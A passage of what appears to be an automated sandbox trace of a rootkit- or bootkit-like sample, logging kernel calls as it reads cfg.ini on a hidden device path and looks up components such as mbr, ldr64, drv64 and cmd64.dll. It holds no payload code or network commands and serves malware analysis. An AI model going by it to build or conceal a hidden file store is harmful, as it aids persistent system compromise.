_Dest="0d24eb7c\\cfg.ini") returned 16 [0124.114] KeEnterCriticalRegion () [0124.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.114] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.114] KeLeaveCriticalRegion () [0124.114] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.114] KeEnterCriticalRegion () [0124.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.114] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.114] IdePortDispatch () returned 0x103 [0124.115] KeWaitForMutexObject () returned 0x0 [0124.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.115] KeLeaveCriticalRegion () [0124.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.115] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.115] KeEnterCriticalRegion () [0124.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.115] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e0000 [0124.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.115] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.115] IdePortDispatch () returned 0x103 [0124.115] KeWaitForMutexObject () returned 0x0 [0124.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.115] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.115] IdePortDispatch () returned 0x103 [0124.115] KeWaitForMutexObject () returned 0x0 [0124.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.116] KeLeaveCriticalRegion () [0124.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.116] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.116] KeEnterCriticalRegion () [0124.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.116] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.116] KeLeaveCriticalRegion () [0124.116] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.116] KeEnterCriticalRegion () [0124.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.116] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.116] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.116] KeLeaveCriticalRegion () [0124.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.117] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.117] KeEnterCriticalRegion () [0124.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.117] ExFreePoolWithTag (P=0xfffffa8003be2660, Tag=0x0) [0124.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.117] KeLeaveCriticalRegion () [0124.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.117] ReleaseMutex (hMutex=0xf0) returned 1 [0124.117] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.117] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.117] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.117] KeEnterCriticalRegion () [0124.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.117] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.117] IdePortDispatch () returned 0x103 [0124.117] KeWaitForMutexObject () returned 0x0 [0124.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.117] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.117] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.118] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.118] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.118] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be24b0 [0124.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.118] KeLeaveCriticalRegion () [0124.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.118] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.118] KeEnterCriticalRegion () [0124.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.118] KeLeaveCriticalRegion () [0124.118] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.118] KeEnterCriticalRegion () [0124.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.118] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.118] IdePortDispatch () returned 0x103 [0124.118] KeWaitForMutexObject () returned 0x0 [0124.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.118] KeLeaveCriticalRegion () [0124.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.119] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.119] KeEnterCriticalRegion () [0124.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.119] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e1000 [0124.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.119] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.119] IdePortDispatch () returned 0x103 [0124.119] KeWaitForMutexObject () returned 0x0 [0124.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.119] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.119] IdePortDispatch () returned 0x103 [0124.119] KeWaitForMutexObject () returned 0x0 [0124.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.119] KeLeaveCriticalRegion () [0124.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.120] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.120] KeEnterCriticalRegion () [0124.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.120] KeLeaveCriticalRegion () [0124.120] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.120] KeEnterCriticalRegion () [0124.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.120] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.120] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.120] KeLeaveCriticalRegion () [0124.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.120] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.120] KeEnterCriticalRegion () [0124.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.120] ExFreePoolWithTag (P=0xfffffa8003be24b0, Tag=0x0) [0124.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.120] KeLeaveCriticalRegion () [0124.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.120] ReleaseMutex (hMutex=0xf0) returned 1 [0124.120] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.120] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.120] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.121] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.121] KeEnterCriticalRegion () [0124.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.121] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.121] IdePortDispatch () returned 0x103 [0124.121] KeWaitForMutexObject () returned 0x0 [0124.122] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.122] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.122] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.122] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.122] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.122] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.122] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.122] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.122] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.122] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.122] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.122] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.122] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.122] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.122] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.122] KeLeaveCriticalRegion () [0124.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.122] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.122] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.122] KeEnterCriticalRegion () [0124.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.122] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.122] IdePortDispatch () returned 0x103 [0124.122] KeWaitForMutexObject () returned 0x0 [0124.123] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.123] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.123] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.123] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.123] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.123] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.123] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.123] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.123] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.123] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.123] KeLeaveCriticalRegion () [0124.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.123] ReleaseMutex (hMutex=0x100) returned 1 [0124.123] Sleep (dwMilliseconds=0x2bf20) [0124.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d2eb4b0, dwHighDateTime=0x1d24fa4)) [0124.131] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.131] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.131] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.132] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.132] KeEnterCriticalRegion () [0124.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.132] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.132] IdePortDispatch () returned 0x103 [0124.132] KeWaitForMutexObject () returned 0x0 [0124.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.132] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.132] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.132] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.132] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.132] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be24b0 [0124.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.132] KeLeaveCriticalRegion () [0124.132] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.132] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.132] KeEnterCriticalRegion () [0124.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.132] KeLeaveCriticalRegion () [0124.132] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.132] KeEnterCriticalRegion () [0124.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.132] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.132] IdePortDispatch () returned 0x103 [0124.132] KeWaitForMutexObject () returned 0x0 [0124.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.133] KeLeaveCriticalRegion () [0124.133] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.133] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.133] KeEnterCriticalRegion () [0124.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.133] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fd000 [0124.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.133] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.133] IdePortDispatch () returned 0x103 [0124.133] KeWaitForMutexObject () returned 0x0 [0124.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.133] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.133] IdePortDispatch () returned 0x103 [0124.133] KeWaitForMutexObject () returned 0x0 [0124.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.133] KeLeaveCriticalRegion () [0124.133] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.134] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.134] KeEnterCriticalRegion () [0124.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.134] KeLeaveCriticalRegion () [0124.134] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.134] KeEnterCriticalRegion () [0124.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.134] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.134] FsRtlFastUnlockAll 